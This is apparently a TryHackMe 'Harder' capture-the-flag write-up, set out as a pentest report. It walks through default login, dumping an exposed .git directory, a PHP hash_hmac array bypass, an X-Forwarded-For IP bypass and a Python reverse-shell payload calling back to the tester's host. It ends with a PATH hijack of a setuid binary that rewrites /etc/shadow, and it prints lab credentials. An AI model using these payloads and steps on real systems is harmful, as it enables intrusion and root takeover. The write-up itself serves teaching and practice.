TryHackMe Harder Writeup

Summary

Harder serves three virtual hosts, and pwd.harder.local accepts admin:admin as well as exposing its own .git directory, which GitTools dumps back into readable source. Reading that source shows hmac.php recomputing its secret with hash_hmac when an n parameter is present, so passing n as an array makes the function return null and the comparison can be satisfied with an HMAC computed over a false secret. Bypassing the check reveals stored credentials for the user evs on shell.harder.local, which refuses connections from outside 10.10.10.0/24 until an X-Forwarded-For header is added. Past that check the page is a command form, which returns a reverse shell inside a container. There /etc/periodic/15min/evs-backup.sh carries evs’s cleartext SSH password, and on the host /usr/local/bin/execute-crypted is a setuid wrapper around a script that calls whoami without an absolute path, so a fake whoami earlier in PATH runs as root, loosens the permissions on /etc/shadow and lets the tester paste their own hash over root’s.

export IP=10.10.66.224

Service Enumeration

IP Address	Ports Open
10.10.66.224	TCP: 22, 80

Web Server Enumeration (80/tcp)

VHost: harder.local shell.harder.local pwd.harder.local

Vhost: pwd.harder.local

BS01: Default Credentials

Vulnerability Explanation: Default credentials (admin:admin) are set, a problematic configuration that could allow remote attackers to log in as admin with ease.

Severity: High

Vulnerability Fix: Change the password for the user ‘admin’ and enforce a secure password policy.

Steps to Reproduce the Attack:

1. Head to http://pwd.harder.local/index.php and submit admin as username and admin as password.

BS02: Exposed Source Code

Vulnerability Explanation: Remote and unauthenticated entities are able to download and explore the source code via an exposed .git folder at http://pwd.harder.local/.git. This information is crucial to a potential attacker, as having the source code of the application in hand allows more targeted and structured attacks.

Severity: Elevated

Vulnerability Fix: Put restrictions in place in order to prevent access to the .git folder.

Steps to Reproduce the Attack:

1. Download GitTools (git clone https://github.com/internetwache/GitTools.git)
2. Run: cd GitTools && cd Dumper && ./gitdumper.sh http://pwd.harder.local/.git/ /your/local/path/to/save/
3. Now extract the files: cd ../Extractor && ./extractor.sh /your/local/path/to/save/.git/ /local/path/to/extracted/files

BS03: “extra security” bypass

Vulnerability Explanation: Reading the source code (refer to BS02), Behind Security was able to spot a critical logic flaw that allows remote users to access the application by manipulating the way that hash_hmac handles an Array() as an argument. This is the code from hmac.php:

<?php
if (empty($_GET['h']) || empty($_GET['host'])) {
   header('HTTP/1.0 400 Bad Request');
   print("missing get parameter");
   die();
}
require("secret.php"); //set $secret var
if (isset($_GET['n'])) {
   $secret = hash_hmac('sha256', $_GET['n'], $secret);
}

$hm = hash_hmac('sha256', $_GET['host'], $secret);
if ($hm !== $_GET['h']){
  header('HTTP/1.0 403 Forbidden');
  print("extra security check failed");
  die();
}
?>

In summary, this script is designed to ensure the integrity and security of a request by checking for required parameters, including a secret key, allowing for dynamic modification of the secret key, and verifying the integrity of a specific parameter using HMAC-SHA256. Unfortunately, if the attacker injects n[]= as an argument to a GET request to http://pwd.harder.local/index.php, it is possible, in combination with an attacker-generated hmac hash, to bypass the security check and get full access to the application. Reference

Severity: Extreme

Steps to Reproduce the Attack:

1. Generate a hmac hash using php: php -r "echo hash_hmac('sha256', 'harder.local', false);"
2. Log in as admin (refer to BS01)
3. Access the vulnerable endpoint: http://pwd.harder.local/index.php?n[]=&h=659930e4c8aadd40606295b8e845bf0983e32ce8a9ad6e877561bb75b9929785&host=harder.local

Extracted Information

|url|username|password (cleartext)|
|http://shell.harder.local|evs|9FRe8VUuhFhd3GyAtjxWn0e9RfSGv7xm|

shell.harder.local

BS04: IP Restriction Bypass

Vulnerability Explanation: After exploiting BS03, Behind Security got access to valid credentials for the user ‘evs’. When logged in as ‘evs’, the web application says that “Your IP is not allowed to use this webservice. Only 10.10.10.x is allowed”. The problem is that it can be easily bypassed, and remote users outside of the IP range 10.10.10.X are able to access this restricted area.

Severity: High

Vulnerability Fix: Don’t expose the shell application to outside of the internal network.

Steps to Reproduce the Attack:

1. Log in to the application using the credentials discovered when exploring BS03.
2. Use a tool like Burpsuite to intercept the request and add the header: X-Forwarded-For: 10.10.10.15. The request would look like this:

GET /index.php HTTP/1.1
Host: shell.harder.local
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Cookie: PHPSESSID=brbp0jg2okrfqm1d7pj9tpup1r
Upgrade-Insecure-Requests: 1
X-Forwarded-For: 10.10.10.15

BS05: Remote Code Execution (RCE)

Vulnerability Explanation: After bypassing the IP restriction (refer to BS04), Behind Security was prompted with a form that takes user-input and allows arbitrary code execution on the target server.

Severity: High

Vulnerability Fix: (…)

Steps to Reproduce the Attack:

1. Refer to BS04 in oder to bypass the IP restriction
2. Open a netcat listener on your machine: nc -lvnp 1337
3. Send a specially crafted request to get a reverse shell connection:

POST /index.php HTTP/1.1
Host: shell.harder.local
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://shell.harder.local/index.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 316
Origin: http://shell.harder.local
DNT: 1
Connection: close
Cookie: PHPSESSID=brbp0jg2okrfqm1d7pj9tpup1r
Upgrade-Insecure-Requests: 1
X-Forwarded-For: 10.10.10.15

cmd=python3%20-c%20%27import%20socket%2Csubprocess%2Cos%3Bs%3Dsocket.socket%28socket.AF_INET%2Csocket.SOCK_STREAM%29%3Bs.connect%28%28%2210.6.11.210%22%2C1337%29%29%3Bos.dup2%28s.fileno%28%29%2C0%29%3B%20os.dup2%28s.fileno%28%29%2C1%29%3Bos.dup2%28s.fileno%28%29%2C2%29%3Bimport%20pty%3B%20pty.spawn%28%22sh%22%29%27

The URL-decoded payload would look like this:

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.6.11.210",1337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'

Replace 10.6.11.210 with your tun0 ip address.

Post Exploitation

BS06: LPE to evs

Vulnerability Explanation: There is a backup script inside the container (/etc/periodic/15min/evs-backup.sh) that holds the clear-text SSH credentials for evs.

Severity: High

Vulnerability Fix: Change script permissions in order to allow read access only to ‘evs’ or ‘root’. Don’t use hardcoded credentials.

Steps to Reproduce the Attack:

1. Refer to BS05 to get a foothold on the system
2. Read the contents of the backup script: cat /etc/periodic/15min/evs-backup.sh
3. Use the credentials to log in via SSH as ‘evs’ on port 22: ssh evs@harder.local

Credentials Foundevs:U6j1brxGqbsUA$pMuIodnb$SZB4$bw14

BS07: LPE to root

Vulnerability Explanation: A binary owned by root (/usr/local/bin/execute-crypted) was found to have a SUID bit set (4750/-rwsr-x---). Further investigation revealed that the binary is actually running a bash script located at /usr/local/bin/run-crypted.sh. The script doesn’t use the relative path of whoami, instead it relies on the $PATH variable to locate it.

Severity: Extreme

Vulnerability Fix: (…)

Steps to Reproduce the Attack:

1. Create a fake ‘whoami’: touch /home/evs/whoami
2. Edit it to include commands to be executed as root. For the sake of the example, the fake ‘whoami’ will look like this:

#!/bin/sh

chmod a+w /etc/shadow
chmod a+r /etc/shadow

1. Add /home/evs to the PATH: export PATH=/home/evs:$PATH
2. Set execute permissions for all users on the fake ‘whoami’: chmod a+x /home/evs/whoami
3. Run the script: /usr/local/bin/execute-crypted
4. Open /etc/shadow using a text editor like vi, and replace root’s hashed password with evs’ hashed password. The file should look like this:

root:$6$o/eVd1yGZ82wNfcM$.PEjZi/DfLIc8EUT6BaSoHyzWs0Bj.GruwK7EpbuSTU.InjlJhvq7XzLM1Yp3aljurT.GtvyNwd0wwPzG33wq0:19651:0:::::
bin:!::0:::::
daemon:!::0:::::
adm:!::0:::::
lp:!::0:::::
sync:!::0:::::
shutdown:!::0:::::
halt:!::0:::::
mail:!::0:::::
news:!::0:::::
uucp:!::0:::::
operator:!::0:::::
man:!::0:::::
postmaster:!::0:::::
cron:!::0:::::
ftp:!::0:::::
sshd:!::0:::::
at:!::0:::::
squid:!::0:::::
xfs:!::0:::::
games:!::0:::::
cyrus:!::0:::::
vpopmail:!::0:::::
ntp:!::0:::::
smmsp:!::0:::::
guest:!::0:::::
nobody:!::0:::::
nginx:!:18450:0:99999:7:::
evs:$6$o/eVd1yGZ82wNfcM$.PEjZi/DfLIc8EUT6BaSoHyzWs0Bj.GruwK7EpbuSTU.InjlJhvq7XzLM1Yp3aljurT.GtvyNwd0wwPzG33wq0:18450:0:99999:7:::
www:!:18450:0:99999:7:::

1. Log in as root using the same password as evs: su root